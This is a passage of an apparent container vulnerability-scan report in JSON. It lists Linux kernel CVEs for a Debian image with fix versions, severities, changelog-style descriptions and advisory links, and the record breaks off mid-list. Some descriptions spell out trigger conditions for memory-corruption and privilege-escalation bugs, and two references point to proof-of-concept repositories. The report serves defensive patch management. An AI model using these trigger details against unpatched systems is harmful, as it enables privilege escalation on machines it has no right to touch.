"https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43458" ], "PublishedDate": "2026-05-08T15:16:58.63Z", "LastModifiedDate": "2026-06-17T10:49:38.41Z" }, { "VulnerabilityID": "CVE-2026-43494", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43494", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7875ea50de07c34c1e0e606a91b447572282670afcabbee6cbda449838a9c08c", "Title": "kernel: net/rds: reset op_nents when zerocopy page pin fails", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/rds: reset op_nents when zerocopy page pin fails\n\nWhen iov_iter_get_pages2() fails in rds_message_zcopy_from_user(),\nthe pinned pages are released with put_page(), and\nrm-\u003edata.op_mmp_znotifier is cleared. But we fail to properly\nclear rm-\u003edata.op_nents.\n\nLater when rds_message_purge() is called from rds_sendmsg() the\ncleanup loop iterates over the incorrectly non zero number of\nop_nents and frees them again.\n\nFix this by properly resetting op_nents when it should be in\nrds_message_zcopy_from_user().", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-1341" ], "VendorSeverity": { "amazon": 3, "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/21/2", "https://access.redhat.com/security/cve/CVE-2026-43494", "https://bugzilla.redhat.com/show_bug.cgi?id=2480434", "https://git.kernel.org/linus/e174929793195e0cd6a4adb0cad731b39f9019b4%20%287.1-rc4%29", "https://git.kernel.org/stable/c/03014551938a0887fa55f18ce49b70158a9c0113", "https://git.kernel.org/stable/c/0bbbff00a15b1df2cac9014d6cf4b6890f473353", "https://git.kernel.org/stable/c/290e833d1acb1093bc121fcdc97f5e6161157479", "https://git.kernel.org/stable/c/640e37f58f991546a87540d067279c2c1fa9fe51", "https://git.kernel.org/stable/c/9115669faedccdda100428e2d26fd0aac8c50799", "https://git.kernel.org/stable/c/c6e51512a784c4a7b86e1a044988696e3b3721fa", "https://git.kernel.org/stable/c/d84ce1786ce40fdd3dd98db47aec5527817e1ef6", "https://git.kernel.org/stable/c/e174929793195e0cd6a4adb0cad731b39f9019b4", "https://github.com/v12-security/pocs/tree/main/pintheft", "https://lore.kernel.org/linux-cve-announce/2026052130-CVE-2026-43494-a65a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43494", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43494.json", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8389-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8616-1", "https://www.cve.org/CVERecord?id=CVE-2026-43494" ], "PublishedDate": "2026-05-21T12:16:19.957Z", "LastModifiedDate": "2026-10-19T20:18:18.62Z" }, { "VulnerabilityID": "CVE-2026-43499", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43499", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6692d9848773177fd02813fd26641e0ef7d2948f970f928e9f460609d1f1bc3b", "Title": "kernel: rtmutex: Use waiter::task instead of current in remove_waiter()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrtmutex: Use waiter::task instead of current in remove_waiter()\n\nremove_waiter() is used by the slowlock paths, but it is also used for\nproxy-lock rollback in rt_mutex_start_proxy_lock() when invoked from\nfutex_requeue().\n\nIn the latter case waiter::task is not current, but remove_waiter()\noperates on current for the dequeue operation. That results in several\nproblems:\n\n 1) the rbtree dequeue happens without waiter::task::pi_lock being held\n\n 2) the waiter task's pi_blocked_on state is not cleared, which leaves a\n dangling pointer primed for UAF around.\n\n 3) rt_mutex_adjust_prio_chain() operates on the wrong top priority waiter\n task\n\nUse waiter::task instead of current in all related operations in\nremove_waiter() to cure those problems.\n\n[ tglx: Fixup rt_mutex_adjust_prio_chain(), add a comment and amend the\n \tchangelog ]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/08/12", "https://access.redhat.com/errata/RHSA-2026:38491", "https://access.redhat.com/security/cve/CVE-2026-43499", "https://bugzilla.redhat.com/2432402", "https://bugzilla.redhat.com/2480453", "https://bugzilla.redhat.com/2481989", "https://bugzilla.redhat.com/2492269", "https://bugzilla.redhat.com/2492805", "https://bugzilla.redhat.com/show_bug.cgi?id=2432402", "https://bugzilla.redhat.com/show_bug.cgi?id=2480453", "https://bugzilla.redhat.com/show_bug.cgi?id=2481989", "https://bugzilla.redhat.com/show_bug.cgi?id=2492269", "https://bugzilla.redhat.com/show_bug.cgi?id=2492805", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53016", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53166", "https://errata.almalinux.org/9/ALSA-2026-38491.html", "https://errata.rockylinux.org/RLSA-2026:38491", "https://git.kernel.org/linus/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349%20%287.1-rc1%29", "https://git.kernel.org/stable/c/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349", "https://git.kernel.org/stable/c/3fb7394a837740770f0d6b4b30567e60786a63f2", "https://git.kernel.org/stable/c/6d52dfcb2a5db86e346cf51f8fcf2071b8085166", "https://git.kernel.org/stable/c/838ce5cb5d93c3ab8b27e75bc6ad905a94b752fd", "https://git.kernel.org/stable/c/88614876370aac8ad1050ad785a4c095ba17ac11", "https://git.kernel.org/stable/c/8a1fc8d698ac5e5916e3082a0f74450d71f9611f", "https://git.kernel.org/stable/c/d8cce4773c2b23d819baf5abedc62f7b430e8745", "https://git.kernel.org/stable/c/f3fa3424bceb128d2be4b3745506b22844b87db7", "https://linux.oracle.com/cve/CVE-2026-43499.html", "https://linux.oracle.com/errata/ELSA-2026-50388.html", "https://lore.kernel.org/linux-cve-announce/2026052158-CVE-2026-43499-1294@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43499", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8634-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://www.cve.org/CVERecord?id=CVE-2026-43499" ], "PublishedDate": "2026-05-21T13:16:19.3Z", "LastModifiedDate": "2026-10-15T02:19:34.43Z" }, { "VulnerabilityID": "CVE-2026-43500", "VendorIDs": [ "DSA-6258-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-3", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43500", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1f1f3365d4a1fee05dcc00bed64a2dff367960755ecce348ddc2f6d02e95d492", "Title": "kernel: \"Dirty Frag\" RxRPC variant is a new universal Local Privilege Escalation (LPE) vulnerability in the Linux kernel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Also unshare DATA/RESPONSE packets when paged frags are present\n\nThe DATA-packet handler in rxrpc_input_call_event() and the RESPONSE\nhandler in rxrpc_verify_response() copy the skb to a linear one before\ncalling into the security ops only when skb_cloned() is true. An skb\nthat is not cloned but still carries externally-owned paged fragments\n(e.g. SKBFL_SHARED_FRAG set by splice() into a UDP socket via\n__ip_append_data, or a chained skb_has_frag_list()) falls through to\nthe in-place decryption path, which binds the frag pages directly into\nthe AEAD/skcipher SGL via skb_to_sgvec().\n\nExtend the gate to also unshare when skb_has_frag_list() or\nskb_has_shared_frag() is true. This catches the splice-loopback vector\nand other externally-shared frag sources while preserving the\nzero-copy fast path for skbs whose frags are kernel-private (e.g. NIC\npage_pool RX, GRO). The OOM/trace handling already in place is reused.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-123" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43500", "https://bugzilla.redhat.com/show_bug.cgi?id=2468273", "https://git.kernel.org/stable/c/3711382a77342a9a1c3d2e7330dcfc7ea927f568", "https://git.kernel.org/stable/c/3eae0f4f9f7206a4801efa5e0235c25bbd5a412c", "https://git.kernel.org/stable/c/7c504ffab3efce8f7e4f463b314ae31030bdf18b", "https://git.kernel.org/stable/c/aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71", "https://git.kernel.org/stable/c/d45179f8795222ce858770dc619abe51f9d24411", "https://github.com/V4bel/dirtyfrag", "https://linux.oracle.com/cve/CVE-2026-43500.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/", "https://lore.kernel.org/linux-cve-announce/2026051149-CVE-2026-43500-60d6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43500", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43500.json", "https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8389-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8616-1", "https://www.cve.org/CVERecord?id=CVE-2026-43500", "https://www.openwall.com/lists/oss-security/2026/05/07/8", "https://www.openwall.com/lists/oss-security/2026/05/08/8" ], "PublishedDate": "2026-05-11T08:16:16.077Z", "LastModifiedDate": "2026-08-24T13:18:47.007Z" }, { "VulnerabilityID": "CVE-2026-43501", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43501", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2e0e57549b5af524cfe023efab08fd10079d74842e136660c3c1e868019f1274", "Title": "kernel: ipv6: rpl: reserve mac_len headroom when recompressed SRH grows", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: rpl: reserve mac_len headroom when recompressed SRH grows\n\nipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps\nthe next segment into ipv6_hdr-\u003edaddr, recompresses, then pulls the old\nheader and pushes the new one plus the IPv6 header back. The\nrecompressed header can be larger than the received one when the swap\nreduces the common-prefix length the segments share with daddr (CmprI=0,\nCmprE\u003e0, seg[0][0] != daddr[0] gives the maximum +8 bytes).\n\npskb_expand_head() was gated on segments_left == 0, so on earlier\nsegments the push consumed unchecked headroom. Once skb_push() leaves\nfewer than skb-\u003emac_len bytes in front of data,\nskb_mac_header_rebuild()'s call to:\n\n\tskb_set_mac_header(skb, -skb-\u003emac_len);\n\nwill store (data - head) - mac_len into the u16 mac_header field, which\nwraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB\npast skb-\u003ehead.\n\nA single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two\nsegment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one\npass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.\n\nFix this by expanding the head whenever the remaining room is less than\nthe push size plus mac_len, and request that much extra so the rebuilt\nMAC header fits afterwards.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-131" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:27713", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/security/cve/CVE-2026-43501", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/9e6bf146b55999a095bb14f73a843942456d1adc%20%287.1-rc2%29", "https://git.kernel.org/stable/c/0a9e8053f1f8a8e1bfc1dd61ffe67be6c1180402", "https://git.kernel.org/stable/c/4babc2d9fda2df43823b85d08a0180b68f1b0854", "https://git.kernel.org/stable/c/7398ebefbfd4f8a31d4f665a4213302fa995494b", "https://git.kernel.org/stable/c/8e8be63465a5e80394c70324603dfea1bfdad48f", "https://git.kernel.org/stable/c/9e6bf146b55999a095bb14f73a843942456d1adc", "https://git.kernel.org/stable/c/bde199c72d319a4e207f88daabc888317504e2fb", "https://git.kernel.org/stable/c/be1fa0aa9b4fdd5a8b7a61ba520a690a68391e6e", "https://git.kernel.org/stable/c/c261d07a80576dc8ccf394ef8f074f8c67a06b37", "https://linux.oracle.com/cve/CVE-2026-43501.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052159-CVE-2026-43501-63a6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43501", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43501.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43501" ], "PublishedDate": "2026-05-21T13:16:19.41Z", "LastModifiedDate": "2026-10-19T20:18:18.897Z" }, { "VulnerabilityID": "CVE-2026-43503", "VendorIDs": [ "DSA-6306-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.174-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43503", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cb994e6f2e4e2fe6d5e9ad3a9e7af4897d995f08c664f8f62906ad5f4e4d1c58", "Title": "kernel: net: skbuff: propagate shared-frag marker through frag-transfer helpers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: propagate shared-frag marker through frag-transfer helpers\n\nTwo frag-transfer helpers (__pskb_copy_fclone() and skb_shift()) fail\nto propagate the SKBFL_SHARED_FRAG bit in skb_shinfo()-\u003eflags when\nmoving frags from source to destination. __pskb_copy_fclone() defers\nthe rest of the shinfo metadata to skb_copy_header() after copying\nfrag descriptors, but that helper only carries over gso_{size,segs,\ntype} and never touches skb_shinfo()-\u003eflags; skb_shift() moves frag\ndescriptors directly and leaves flags untouched. As a result, the\ndestination skb keeps a reference to the same externally-owned or\npage-cache-backed pages while reporting skb_has_shared_frag() as\nfalse.\n\nThe mismatch is harmful in any in-place writer that uses\nskb_has_shared_frag() to decide whether shared pages must be detoured\nthrough skb_cow_data(). ESP input is one such writer (esp4.c,\nesp6.c), and a single nft 'dup to \u003clocal\u003e' rule -- or any other\nnf_dup_ipv4() / xt_TEE caller -- is enough to land a pskb_copy()'d\nskb in esp_input() with the marker stripped, letting an unprivileged\nuser write into the page cache of a root-owned read-only file via\nauthencesn-ESN stray writes.\n\nSet SKBFL_SHARED_FRAG on the destination whenever frag descriptors\nwere actually moved from the source. skb_copy() and skb_copy_expand()\nshare skb_copy_header() too but linearize all paged data into freshly\nallocated head storage and emerge with nr_frags == 0, so\nskb_has_shared_frag() returns false on its own; they need no change.\n\nThe same omission exists in skb_gro_receive() and skb_gro_receive_list().\nThe former moves the incoming skb's frag descriptors into the\naccumulator's last sub-skb via two paths (a direct frag-move loop and\nthe head_frag + memcpy path); the latter chains the incoming skb whole\nonto p's frag_list. Downstream skb_segment() reads only\nskb_shinfo(p)-\u003eflags, and skb_segment_list() reuses each sub-skb's\nshinfo as the nskb -- both p and lp must carry the marker.\n\nThe same omission also exists in tcp_clone_payload(), which builds an\nMTU probe skb by moving frag descriptors from skbs on sk_write_queue\ninto a freshly allocated nskb. The helper falls into the same family\nand warrants the same fix for consistency; no TCP TX-side in-place\nwriter is currently known to reach a user page through this gap, but\na future consumer depending on the marker would regress silently.\n\nThe same omission exists in skb_segment(): the per-iteration flag\nmerge takes only head_skb's flag, and the inner switch that rebinds\nfrag_skb to list_skb on head_skb-frags exhaustion does not fold the\nnew frag_skb's flag into nskb. Fold frag_skb's flag at both sites\nso segments drawing frags from frag_list members carry the marker.", "Severity": "HIGH", "CweIDs": [ "CWE-691", "CWE-664" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:19540", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19664", "https://access.redhat.com/errata/RHSA-2026:19666", "https://access.redhat.com/errata/RHSA-2026:19705", "https://access.redhat.com/errata/RHSA-2026:19711", "https://access.redhat.com/errata/RHSA-2026:19875", "https://access.redhat.com/errata/RHSA-2026:20051", "https://access.redhat.com/errata/RHSA-2026:20054", "https://access.redhat.com/errata/RHSA-2026:20087", "https://access.redhat.com/errata/RHSA-2026:20129", "https://access.redhat.com/errata/RHSA-2026:20130", "https://access.redhat.com/errata/RHSA-2026:20299", "https://access.redhat.com/errata/RHSA-2026:20593", "https://access.redhat.com/errata/RHSA-2026:21656", "https://access.redhat.com/errata/RHSA-2026:21690", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:21702", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:23240", "https://access.redhat.com/errata/RHSA-2026:23245", "https://access.redhat.com/errata/RHSA-2026:23468", "https://access.redhat.com/errata/RHSA-2026:23469", "https://access.redhat.com/errata/RHSA-2026:23470", "https://access.redhat.com/errata/RHSA-2026:23471", "https://access.redhat.com/errata/RHSA-2026:24814", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/security/cve/CVE-2026-43503", "https://bugzilla.redhat.com/2394648", 